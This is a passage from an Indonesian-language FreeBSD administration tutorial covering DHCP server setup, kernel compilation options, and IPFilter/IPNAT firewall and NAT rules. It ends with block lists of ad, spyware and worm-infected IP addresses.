  cat.: Perhatikan ownership dari /usr/local/bind, jika kita menyalinnya dengan tool atau file-manager seperti midnight- commander, biasanya ownership akan berubah dari bind ke root (atau privileged user pada saat itu), sehingga harus dikembalikan lagi dengan chown -r bind:bind /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
  Penyesuaian ownership ini juga berlaku untuk direktori baru dibawahnya yang kelak digunakan untuk file-file yang meminta akses-tulis seperti log, dump, stat, pid, dsb. &lt;br /&gt;
&lt;br /&gt;
1.3.4&lt;br /&gt;
[pre]&lt;br /&gt;
  Hentikan proses named yang saat itu berlangsung (dengan kill, killall atau top), lalu aktifkan kembali named (dengan argumen seperti named_flags diatas), atau reboot server.&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
2. DHCP Server&lt;br /&gt;
&lt;br /&gt;
2.1. Instalasi dan Setup&lt;br /&gt;
&lt;br /&gt;
Dengan /stand/sysinstall, install package isc-dhcpd.&lt;br /&gt;
Instalasi ini hanya sekedar mengekstrak program dan dokumentasi dhcpd, kita *harus* membuat sebuah file yaitu /var/db/dhcpd.lease secara manual: touch /var/db/dhcpd.leases.&lt;br /&gt;
Edit file /usr/local/etc/dhcpd.conf dengan editor kesayangan anda, fi-ay :), dan buat alokasi dinamis IP addresses untuk network 192.168.1.0/24 misalnya:&lt;br /&gt;
&lt;br /&gt;
#jangan lupa menggunakan fasilitas syslog&lt;br /&gt;
#dalam syslog.conf tambahkan entry sbb:&lt;br /&gt;
#  local7*	/var/log/dhcpd.log	#awas: pake TAB, jangan pake spasi!&lt;br /&gt;
&lt;br /&gt;
log-facility local7;&lt;br /&gt;
authoritative;&lt;br /&gt;
ddns-update-style ad-hoc;&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;domain.box&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
subnet 192.168.1.0 netmask 255.255.255.0 {&lt;br /&gt;
  option netbios-name-servers 192.168.1.3; #server NT kita&lt;br /&gt;
  option domain-name-servers 192.168.1.1;&lt;br /&gt;
  option routers 192.168.1.1;&lt;br /&gt;
  pool { range 192.168.1.10 192.168.1.190; }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2.2. Menjalankan dhcpd&lt;br /&gt;
DHCP server sebaiknya dijalankan pada saat boot-up dengan membuat file startup di /usr/local/etc/rc.d&lt;br /&gt;
Untuk menjalankan secara manual ketikan perintah: dhcpd if_2 (if_2 adalah interface yang terhubung dengan network lokal)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
&#039;Official&#039; firewall dari FreeBSD adalah ipfw/natd, kelebihan ipfw terutama adalah kemampuan untuk mengatur kuota bandwith, sementara kelebihan ipf/ipnat yang paling utama adalah performansi. Juga menurut authornya, ipf benar-benar melakukan kontrol terhadap TCP/IP state, tidak cuma artifisial (sekedar mengecek kombinasi flags tertentu seperti SYN/ACK) seperti yang dilakukan dalam paket firewall lainnya.&lt;br /&gt;
&lt;br /&gt;
Dalam bahasan kali ini, kita akan menggunakan IPFilter/IPNAT.&lt;br /&gt;
&lt;br /&gt;
3.1. Kompilasi kernel&lt;br /&gt;
&lt;br /&gt;
Untuk memasang firewall kita harus mengkompile ulang kernel (selanjutnya kita bisa mencopot-pasang lagi lewat loadable kernel module).&lt;br /&gt;
&lt;br /&gt;
3.1.1 Konfigurasi kernel&lt;br /&gt;
&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
option tambahan kernel kita dari GENERIC adalah sbb:&lt;br /&gt;
&lt;br /&gt;
#--- start kernel options ---&lt;br /&gt;
#hapus semua options cpu kecuali model tertinggi sesuai cpu anda&lt;br /&gt;
#cpu		I386_CPU&lt;br /&gt;
#cpu		I486_CPU&lt;br /&gt;
#cpu		I586_CPU&lt;br /&gt;
cpu		I686_CPU&lt;br /&gt;
maxusers	32&lt;br /&gt;
&lt;br /&gt;
#kostumisasi kernel (lihat juga catatan tambahan)&lt;br /&gt;
ident		AA&lt;br /&gt;
makeoptions	KERNEL=AA		&lt;br /&gt;
&lt;br /&gt;
#jangan lupa mengganti entri di /boot atau /etc/defaults/rc.conf&lt;br /&gt;
#userconfig_script_load=&amp;quot;YES&amp;quot;&lt;br /&gt;
#kernel=&amp;quot;/AA&amp;quot;&lt;br /&gt;
#verbose_loading=&amp;quot;YES&amp;quot;&lt;br /&gt;
#autoboot_delay=&amp;quot;3&amp;quot;&lt;br /&gt;
#bootfile=&amp;quot;AA,aa,kernel&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#kita tidak memakai 386SX kebawah, jadi emulasi mathco bisa dihapus saja&lt;br /&gt;
#options 	GPL_MATH_EMULATE	#Support for x87 emulation&lt;br /&gt;
&lt;br /&gt;
#console menggunakan teks mode 90x60&lt;br /&gt;
device		vga0	at isa?&lt;br /&gt;
options		VGA_WIDTH90		#90 baris VGA&lt;br /&gt;
options		VESA&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti tambahkan font dan screenflags di /etc/rc.conf sbb:&lt;br /&gt;
#font8x14=&amp;quot;cp437-8x14&amp;quot;&lt;br /&gt;
#font8x16=&amp;quot;cp437-8x16&amp;quot;&lt;br /&gt;
#font8x8=&amp;quot;cp437-8x8&amp;quot;&lt;br /&gt;
#allscreens_flags=&amp;quot;VGA_90x60&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#hapus splash screen/screen saver.&lt;br /&gt;
#pseudo-device	splash&lt;br /&gt;
&lt;br /&gt;
#selain UFS, dalam box kita terdapat juga NTFS dan EXT2FS&lt;br /&gt;
options 	NTFS		#NT&lt;br /&gt;
options 	EXT2FS		#Linux&lt;br /&gt;
options         NFS_NOSERVER	#Membuang kode NFS&lt;br /&gt;
&lt;br /&gt;
#options         UNION		#UFS bisa digabung&lt;br /&gt;
#options         NULLFS		#null&lt;br /&gt;
#options         UMAPFS		#UID Map FileSystem&lt;br /&gt;
#options         KERNFS		#kernel&lt;br /&gt;
#options         SMBFS		#SMB/File Sharing ala Windows&lt;br /&gt;
#options         PROCFS		#memetakan Process ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Tambahkan flags 0xb0ff (maks. drive blok transfer) untuk hard-disk&lt;br /&gt;
# untuk sepasang hard-disk per-interface flagsnya adalah 0xb0ffb0ff&lt;br /&gt;
device	ata0	at isa? port IO_WD1 irq 14 flags 0xb0ffb0ff&lt;br /&gt;
device	ata1	at isa? port IO_WD2 irq 15 flags 0xb0ffb0ff&lt;br /&gt;
&lt;br /&gt;
options 	SOFTUPDATES	#penting untuk meningkatkan performansi&lt;br /&gt;
options 	ATA_STATIC_ID	#Static device numbering&lt;br /&gt;
&lt;br /&gt;
#hapus saja tape-drive.&lt;br /&gt;
#device		atapist		# ATAPI tape drives&lt;br /&gt;
&lt;br /&gt;
# jika menggunakan APM, sebaiknya tidak.&lt;br /&gt;
#device	apm0    at nexus? disable flags 0x20 # Advanced Power Management&lt;br /&gt;
&lt;br /&gt;
# PCCARD (PCMCIA) support, buang saja&lt;br /&gt;
#device	card&lt;br /&gt;
#device	pcic0	at isa? irq 0 port 0x3e0 iomem 0xd0000&lt;br /&gt;
#device	pcic1	at isa? irq 0 port 0x3e2 iomem 0xd4000 disable&lt;br /&gt;
&lt;br /&gt;
#Buang saja serial 2 dan 3&lt;br /&gt;
#device	sio2	at isa? disable port IO_COM3 irq 5&lt;br /&gt;
#device	sio3	at isa? disable port IO_COM4 irq 9&lt;br /&gt;
&lt;br /&gt;
#Buang juga koneksi lewat Parallel port&lt;br /&gt;
#device	plip		# TCP/IP over parallel&lt;br /&gt;
#device	ppi		# Parallel port interface device&lt;br /&gt;
#device	vpo		# Requires scbus and da&lt;br /&gt;
&lt;br /&gt;
#Buang semua entri ethernet yang tidak ada&lt;br /&gt;
#saya cuma punya 3Com 3C509, 3C905 dan realtek&lt;br /&gt;
device	ep		# 3Com 3C509 (10 MBps)&lt;br /&gt;
device	xl		# 3Com 3c905 (10/100)&lt;br /&gt;
device	rl		# RealTek 8129/8139 (10/100)&lt;br /&gt;
#device	de		# Realtek lama (10)&lt;br /&gt;
&lt;br /&gt;
#Banyak software yang tergantung kepada bpf&lt;br /&gt;
#(discouraged), tapi sebaiknya tetap dipasang&lt;br /&gt;
pseudo-device	bpf		#Berkeley packet filter&lt;br /&gt;
&lt;br /&gt;
#Buang semua options USB yang hardwarenya tidak ada&lt;br /&gt;
device	uhci		# UHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	ohci		# OHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	usb		# USB Bus (required)&lt;br /&gt;
device	ugen		# Generic&lt;br /&gt;
#device	uhid		# &amp;quot;Human Interface Devices&amp;quot;&lt;br /&gt;
#device	ukbd		# Keyboard&lt;br /&gt;
#device	ulpt		# Printer&lt;br /&gt;
#device	umass		# Disks/Mass storage - Requires scbus and da&lt;br /&gt;
#device	ums		# Mouse&lt;br /&gt;
#device	uscanner	# Scanners&lt;br /&gt;
# USB Ethernet, requires mii&lt;br /&gt;
#device	aue		# ADMtek USB ethernet&lt;br /&gt;
#device	cue		# CATC USB ethernet&lt;br /&gt;
#device	kue		# Kawasaki LSI USB ethernet&lt;br /&gt;
&lt;br /&gt;
#Soundcard (generik)&lt;br /&gt;
device		pcm&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti untuk membuat entri2 sound&lt;br /&gt;
#(audio, mixer, sequencer dll) di /dev:&lt;br /&gt;
#cd /dev&lt;br /&gt;
#./MAKEDEV snd &lt;br /&gt;
&lt;br /&gt;
#Intel PIIX4 Power Management Unit&lt;br /&gt;
#device smbus &lt;br /&gt;
#device intpm&lt;br /&gt;
&lt;br /&gt;
#Berhubung SCSI card saya sudah sangat kuno, akhirnya saya cabut :)&lt;br /&gt;
#Jika tidak memiliki SCSI, semua options yang behubungan dengan skasi&lt;br /&gt;
#bisa dibuang&lt;br /&gt;
&lt;br /&gt;
#options 	SCSI_DELAY=8000		#Delay (in ms) before probing SCSI&lt;br /&gt;
# SCSI Controllers&lt;br /&gt;
#...&lt;br /&gt;
# SCSI peripherals&lt;br /&gt;
#...&lt;br /&gt;
&lt;br /&gt;
#Jika menggunakan firewall bawaan FreeBSD:&lt;br /&gt;
#options	IPFIREWALL&lt;br /&gt;
#options	IPDIVERT&lt;br /&gt;
#options	IPFIREWALL_VERBOSE&lt;br /&gt;
#options	IPFIREWALL_VERBOSE_LIMIT=32&lt;br /&gt;
#options	IPFIREWALL_DEFAULT_TO_ACCEPT&lt;br /&gt;
&lt;br /&gt;
#Jika anda memasang bandwith quota tambahkan entri dibawah ini&lt;br /&gt;
#options	IPDIVERT	#digunakan juga oleh ipfw/natd&lt;br /&gt;
#options	DUMMYNET&lt;br /&gt;
#options	QUOTA&lt;br /&gt;
&lt;br /&gt;
#Konfigurasi ipfilter/ipnat ini yang kita pakai&lt;br /&gt;
#cat. jika menggunakan IPFilter TIDAK PERLU ditambahkan&lt;br /&gt;
#lagi options IPDIVERT seperti yang terdapat dalam&lt;br /&gt;
#beberapa dokumentasi online&lt;br /&gt;
&lt;br /&gt;
options		IPFILTER&lt;br /&gt;
options		IPFILTER_LOG&lt;br /&gt;
options		IPFILTER_DEFAULT_BLOCK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#untuk memperketat firewall bisa ditambahkan options dibawah ini:&lt;br /&gt;
options		IPSTEALTH&lt;br /&gt;
options		TCP_DROP_SYNFIN&lt;br /&gt;
options		TCP_RESTRICT_RST	&lt;br /&gt;
&lt;br /&gt;
options         MROUTING&lt;br /&gt;
options         RANDOM_IP_ID&lt;br /&gt;
&lt;br /&gt;
#beberapa options lainnya untuk memacu performa&lt;br /&gt;
options         NBUF=4096&lt;br /&gt;
options         NMBCLUSTERS=8192&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#catatan tambahan:&lt;br /&gt;
&lt;br /&gt;
#Jika anda ingin mengubah release, copyright et-al., lakukan perubahan ini&lt;br /&gt;
#di /usr/src/sys/conf/newvers.sh&lt;br /&gt;
&lt;br /&gt;
#dari original&lt;br /&gt;
#TYPE=&amp;quot;FreeBSD&amp;quot;&lt;br /&gt;
#REVISION=&amp;quot;4.3&amp;quot;&lt;br /&gt;
#BRANCH=&amp;quot;RELEASE&amp;quot;&lt;br /&gt;
#RELEASE=4.3-RELEASE&lt;br /&gt;
#VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
if [ X&amp;quot;$COPYRIGHT&amp;quot; = X ]; then&lt;br /&gt;
	COPYRIGHT=&amp;quot;/*&lt;br /&gt;
 * Copyright (c) $year&lt;br /&gt;
 *	FreeBSD Inc. All rights reserved.&lt;br /&gt;
 *&lt;br /&gt;
 */&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
#menjadi violated&lt;br /&gt;
TYPE=&amp;quot;mbakNunix&amp;quot;&lt;br /&gt;
REVISION=&amp;quot;1.31&amp;quot;&lt;br /&gt;
BRANCH=&amp;quot;BURIX&amp;quot;&lt;br /&gt;
RELEASE=1.31-BURIX&lt;br /&gt;
VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
COPYRIGHT=&amp;quot;&lt;br /&gt;
/*** aa, aa.delphi@yahoo.com, 1995-$year ***/&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2.1.2 Kompilasi&lt;br /&gt;
&lt;br /&gt;
Akhirnya kita kompile kernel sbb:&lt;br /&gt;
&lt;br /&gt;
su (kita harus root)&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
chflags noschg AA (jika sekuriti diperketat, biasanya kernel diberi flag schg)&lt;br /&gt;
&lt;br /&gt;
  /usr/sbin/config -r AA &amp;amp;&amp;amp; \&lt;br /&gt;
  cd ../../compile/$1 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make depend) 2&amp;gt;~/err1 &amp;amp;&amp;amp; \&lt;br /&gt;
  make 2&amp;gt;~/err2 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make install) 2&amp;gt;~/err3&lt;br /&gt;
&lt;br /&gt;
semua error message masing-masing akan dicatat di /root, file: err1, err2 dan err3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2. Mengkonfigurasi IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
3.2.1. Konfigurasi rc.conf&lt;br /&gt;
Konfigurasi umum seperti biasa dilakukan di rc.conf&lt;br /&gt;
&lt;br /&gt;
3.2.2. Konfigurasi syslog.conf&lt;br /&gt;
&lt;br /&gt;
3.2.3. Tuning sysctl.conf&lt;br /&gt;
net.inet.ip.forwarding=1&lt;br /&gt;
net.inet.ip.fastforwarding=1&lt;br /&gt;
&lt;br /&gt;
3.2.4. ipnat.rules&lt;br /&gt;
Rules untuk IPNAT dibahas lebih dulu karena relatif jauh lebih sederhana daripada rules untuk IPF&lt;br /&gt;
&lt;br /&gt;
Catatan:&lt;br /&gt;
map artinya: remap SOURCE  packet&#039;s IP address&lt;br /&gt;
rdr artinya: redirect DESTINATION of packet&#039;s IP address&lt;br /&gt;
&lt;br /&gt;
Tambahkan baris berikut untuk mengemap :) port ftp&lt;br /&gt;
&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 proxy port 21 ftp/tcp&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 portmap tcp/udp 49152:65535 #nomor port bebas antara 0-65535&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32&lt;br /&gt;
&lt;br /&gt;
HTTP request di redirect ke server&lt;br /&gt;
&lt;br /&gt;
  rdr rl1 0/32 port 80 -&amp;gt; 192.168.1.1 port 80 tcp&lt;br /&gt;
&lt;br /&gt;
#jika perlu permintaan http dari lokal bisa di redirect ke SQUID port 3128&lt;br /&gt;
#rdr rl0 0.0.0.0/0 port 80 -&amp;gt; 192.168.1.1 port 3128 tcp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5. ipf.rules&lt;br /&gt;
&lt;br /&gt;
Default konfigurasi adalah block in all, block out all artinya dengan konfigurasi seperti ini server kita benar-benar jadi mahluk egois, tidak mau melihat kanan-kiri sedikitpun :)&lt;br /&gt;
&lt;br /&gt;
konfigurasi paling sederhana yang bisa berjalan adalah:&lt;br /&gt;
&lt;br /&gt;
  pass in all&lt;br /&gt;
  pass out all&lt;br /&gt;
&lt;br /&gt;
Artinya sama saja dengan tidak memasang firewall.&lt;br /&gt;
&lt;br /&gt;
jika server kita hanya digunakan untuk mengakses internet keluar (outward-only), cukup kita isi firewall rules dengan satu baris:&lt;br /&gt;
&lt;br /&gt;
  pass out quick all keep state keep frags&lt;br /&gt;
&lt;br /&gt;
untuk ipf ver 4.32 (FreeBSD 4.5+) rule &amp;quot;keep&amp;quot; tidak bisa diterapkan kepada paket selain tcp/udp/icmp, jadi rule diatas dibagi menjadi:&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp/udp all keep state keep frags&lt;br /&gt;
  pass out quick proto icmp all keep state keep frags&lt;br /&gt;
  pass out quick all&lt;br /&gt;
  &lt;br /&gt;
Dengan menggunakan keep state, kita tinggal membuka port yang kita perlukan saja, lalu-lintas koneksi yang terkait dengan servis/port tsb selanjutnya ditangani oleh ipf, misalnya:&lt;br /&gt;
&lt;br /&gt;
  block in quick all&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
&lt;br /&gt;
meski diatas terdapat block, icmp-reply akan tetap bisa masuk masuk karena memang diminta oleh icmp-echo.&lt;br /&gt;
pada protokol tcp/udp lainnya, pembukaan gerbang masuk ini mencakup juga control messages berupa icmp atau bahkan segmen IP dengan nomor port lainnya yang berbeda, yang masih terkait dalam koneksi tersebut.&lt;br /&gt;
  &lt;br /&gt;
catatan tambahan:                                        &lt;br /&gt;
Sebaiknya keep-state jangan terlalu di-obral supaya tidak menghabiskan resources atau bahkan membuka celah security berupa Denial of Service (DoS) Attack, lebih tepat kiranya jika hanya protokol TCP dengan SYN Flag serta port-port tertentu saja yang dipasangi keep-state seperti FTP (21), SSH (22), SMTP (25), DNS (53), DHCP (67/58), serta ICMP echo.&lt;br /&gt;
Jika hanya permintaan koneksi (ditandai dengan SYN flag) dari servis/port tertentu yang dibuka, jalur masuk semua ditutup (block in all), port FTP mau tidak mau harus diberi keep state karena setelah koneksi terjadi dia akan membuka port/jalur baru (UDP port 20, atau TCP dengan unassigned [high number] port) untuk komunikasi data.&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp flags S keep state&lt;br /&gt;
  pass out quick proto udp port = 53 keep state&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
  pass out quick all&lt;br /&gt;
&lt;br /&gt;
Karena pembahasan ipf ini cukup panjang, maka akan kita singkat saja dengan menggunakan rules yang berguna secara umum&lt;br /&gt;
&lt;br /&gt;
[pre]&lt;br /&gt;
#UMUM&lt;br /&gt;
pass in  quick on lo0&lt;br /&gt;
pass out quick on lo0&lt;br /&gt;
&lt;br /&gt;
#NBNS&lt;br /&gt;
block return-rst in quick proto tcp all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
block return-icmp-as-dest(port-unr) in quick all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
&lt;br /&gt;
#============================================================&lt;br /&gt;
#if_1 adalah eksternal interface (yang terhubung ke internet)&lt;br /&gt;
#============================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_1 all head 10000&lt;br /&gt;
#Start group 10000&lt;br /&gt;
&lt;br /&gt;
   block in quick all with opt lsrr group 10000 #block loose src routing&lt;br /&gt;
   block in quick all with opt ssrr group 10000 #block strict src routing&lt;br /&gt;
   block in quick proto tcp all with frags group 10000&lt;br /&gt;
&lt;br /&gt;
   #block no. ip address yang diketahui berbahaya, bervirus dsb.&lt;br /&gt;
   #block in quick proto tcp/udp from Danger_IPs group 10000&lt;br /&gt;
   #(lihat daftar 3.2.5.2)&lt;br /&gt;
&lt;br /&gt;
   pass in quick proto tcp all port = http flags S keep state group 10000 #jika kita pasang web server&lt;br /&gt;
&lt;br /&gt;
   block in quick proto icmp all head 11000 group 10000 #blok icmp yang tidak perlu&lt;br /&gt;
   #Start group 11000&lt;br /&gt;
      #pass in log first quick proto icmp all icmp-type echo group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type echorep group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type unreach group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type redir group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type timex group 11000&lt;br /&gt;
      block in return-icmp-as-dest(host-unr) in quick all group 11000&lt;br /&gt;
   #End group 11000&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   block return-rst in quick proto tcp all group 10000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 10000&lt;br /&gt;
&lt;br /&gt;
#End group 10000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_1 all head 20000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags group 20000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 20000&lt;br /&gt;
pass out quick all 20000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#===========================================================&lt;br /&gt;
#if_2 adalah internal interface (yang terhubung ke intranet)&lt;br /&gt;
#===========================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_2 all head 30000&lt;br /&gt;
#Start group 30000&lt;br /&gt;
&lt;br /&gt;
   #Test User, tahan uninitialized host&lt;br /&gt;
   block in quick from !192.168.1.1/24 to any head 31000 group 30000&lt;br /&gt;
   #Start group 31000&lt;br /&gt;
 &lt;br /&gt;
      #Unknown User, harus daftar dhcp dulu&lt;br /&gt;
      pass in log first quick proto tcp/udp from any port = 68 to any port = 67 group 31000&lt;br /&gt;
      block return-icmp-as-dest(host-unk) in log first quick all group 31000 #Unknown&lt;br /&gt;
    &lt;br /&gt;
      #HTTP&lt;br /&gt;
      #Tahan dulu http untuk diinterogasi, mau kemanakah tujuannya.&lt;br /&gt;
      block in log first quick all port = http head 32000 group 31000&lt;br /&gt;
      #Start group 32000&lt;br /&gt;
    &lt;br /&gt;
         #HTTP block template: popups, junker, spammer etc. dilarang!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 64.38.238.0/18 group 32000 #ADS!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 66.28.153.36/24 group 32000 #porn&amp;amp;spy!&lt;br /&gt;
         #...dst (lihat daftar 3.2.5.1 yang berisi IP popups/spyies)&lt;br /&gt;
      &lt;br /&gt;
         #aman...&lt;br /&gt;
         pass in log first quick proto tcp all flags S keep state keep frags group 32000&lt;br /&gt;
         &lt;br /&gt;
         #HTTP-TCP only, yg lainnya di-blok by default!&lt;br /&gt;
         block return-rst in quick proto tcp all group 32000&lt;br /&gt;
    &lt;br /&gt;
      #End group 32000&lt;br /&gt;
   #End group 31000&lt;br /&gt;
 &lt;br /&gt;
   #Pada tahap ini user telah dikenal (dari 192.168.1.1/24) dan dengan permintaan port selain http&lt;br /&gt;
   #atau user dari 192.168.1.1/24 dengan port http namun protokolnya selain tcp&lt;br /&gt;
   &lt;br /&gt;
   #Tahan permintaan DNS keluar&lt;br /&gt;
   block return-icmp-as-dest(filter-prohib) in quick proto tcp/udp from any to 202.155.0.10/24 port = domain group 30000&lt;br /&gt;
 &lt;br /&gt;
   pass in log first quick proto tcp/udp all port &amp;lt; 1024 keep state group 30000 #regular ports&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3130 keep state group 30000 #SQUID&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3306 keep state group 30000 #MySQL&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   #lainnya secara default di-blok&lt;br /&gt;
   block return-rst in quick proto tcp all group 30000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 30000&lt;br /&gt;
&lt;br /&gt;
#End group 30000&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_2 all head 40000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags 40000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 40000&lt;br /&gt;
pass out quick all 40000&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5.1 Daftar alamat IP popup&lt;br /&gt;
Berikut ini daftar ip popup dan advertising banner, spy, spammer dll yang selain menyebalkan juga kadang berbahaya.&lt;br /&gt;
cat.: ganti kata &amp;quot;BLOK&amp;quot; dengan: &amp;quot;block return-rst in log first quick proto tcp from any to&amp;quot;, juga nomor group disesuaikan dengan konfigurasi&lt;br /&gt;
&lt;br /&gt;
  #HTTP block template&lt;br /&gt;
&lt;br /&gt;
  #Hall Of Fames - top of sh*ts!-&lt;br /&gt;
  BLOK 64.38.238.0/18 group 42000 #popups.ini&lt;br /&gt;
  BLOK 64.38.223.51/24 group 42000 #!!!trafficcashgold.com&lt;br /&gt;
  BLOK 64.38.226.6/24 group 42000 #maxcash.cavecreek.net&lt;br /&gt;
  BLOK 64.38.247.60/24 group 42000 #count1-old.paycounter.com[]&lt;br /&gt;
  BLOK 205.180.85.40/24 group 42000 #popups.ini TOP!!! media.fastclick.net&lt;br /&gt;
  BLOK 202.180.8.129/24 group 42000 #ns1.servercyber.com&lt;br /&gt;
  BLOK 207.68.178.251/24 group 42000 #ads.msn.com&lt;br /&gt;
  BLOK 207.68.185.58/24 group 42000 #autosearch.msn.com&lt;br /&gt;
  BLOK 207.68.171.254/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.172.253/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.173.254/22 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 209.225.0.6/24 group 42000 #servedby.advertising.com&lt;br /&gt;
  BLOK 209.225.4.72/24 group 42000 #advertising.com&lt;br /&gt;
&lt;br /&gt;
  #telkom!dont-block: BLOK 203.130.252.36/24 group 42000 #mencurigakan sih&lt;br /&gt;
&lt;br /&gt;
  #dangerous!&lt;br /&gt;
    BLOK 66.28.38.3/24 group 42000 #&lt;br /&gt;
    BLOK 209.50.252.100/24 group 42000 #4bigcash.com&lt;br /&gt;
    BLOK 209.5.187.10/24 group 42000 #freepopups.com&lt;br /&gt;
    #BLOK 209.5.187.16/24 group 42000 #adpowerzone.com&lt;br /&gt;
    #BLOK 213.249.1.67/24 group 42000 #d67.kif2.nas.panafonet.gr&lt;br /&gt;
  #End dangerous&lt;br /&gt;
&lt;br /&gt;
  #from popups.ini&lt;br /&gt;
    BLOK 12.42.235.3/24 group 42000 #popups.ini&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.95.228.15/24 group 42000 #popups.ini&lt;br /&gt;
  #end-from popups.ini&lt;br /&gt;
&lt;br /&gt;
  #new compilation&lt;br /&gt;
    #BLOK 66.206.15.201/24 group 42000 #indo-porn, gapapa-lah&lt;br /&gt;
    BLOK 63.167.204.56/24 group 42000 #7adpower.com&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 128.11.42.61/24 group 42000 #burstnet.com&lt;br /&gt;
    #dont-block-yahoo: BLOK 66.218.71.80/24 group 42000 #w1.scd.yahoo.com&lt;br /&gt;
  #end-new compilation&lt;br /&gt;
&lt;br /&gt;
  #old compilation&lt;br /&gt;
    BLOK 12.90.179.10/16 group 42000&lt;br /&gt;
    BLOK 63.215.149.25/24 group 42000 #porno&lt;br /&gt;
    BLOK 192.150.10.120/16 group 42000 #adobe spyier!!!&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.218.220.42/24 group 42000 #servergold.com - porn&lt;br /&gt;
    #beware! Namezeroes are always peeking our nbns port!&lt;br /&gt;
    BLOK 216.34.13.245 port != 80 group 42000&lt;br /&gt;
&lt;br /&gt;
  #end-old-compilation&lt;br /&gt;
&lt;br /&gt;
3.2.5.2 Daftar alamat IP berbahaya&lt;br /&gt;
Berikut ini daftar alamat IP berbahaya karena menyebarkan virus nimda atau code-red hingga tulisan ini dibuat (mungkin IP anda tercantum disini, selamat! :)).&lt;br /&gt;
penggunaannya dalam ipf.rules misalnya:&lt;br /&gt;
&lt;br /&gt;
  block return-rst in log first quick on rl1 proto tcp from 202.10.35.227 to any Group 23456 #Nimda&lt;br /&gt;
&lt;br /&gt;
  4.47.218.144#code_red&lt;br /&gt;
  &lt;br /&gt;
#internal INDOSAT NET-10.X.X.X&lt;br /&gt;
  10.1.8.108#nimda&lt;br /&gt;
  10.6.2.4#nimda&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  10.6.18.68#nimda&lt;br /&gt;
#end: internal INDOSAT NET-10.X.X.X&lt;br /&gt;
&lt;br /&gt;
  24.73.201.22#code_red&lt;br /&gt;
  24.80.172.120#code_red&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  24.196.16.168#code_red&lt;br /&gt;
  219.8.104.74#nimda&lt;br /&gt;
&lt;br /&gt;
4.Lain-lain&lt;br /&gt;
Dalam bagian ini diasumsikan bahwa kita akan menginstal program dari source kodenya, yang diekstrak ke direktori /usr/local/src, mis.: tar -xpvzf apache.tgz -C /usr/local/src.&lt;br /&gt;
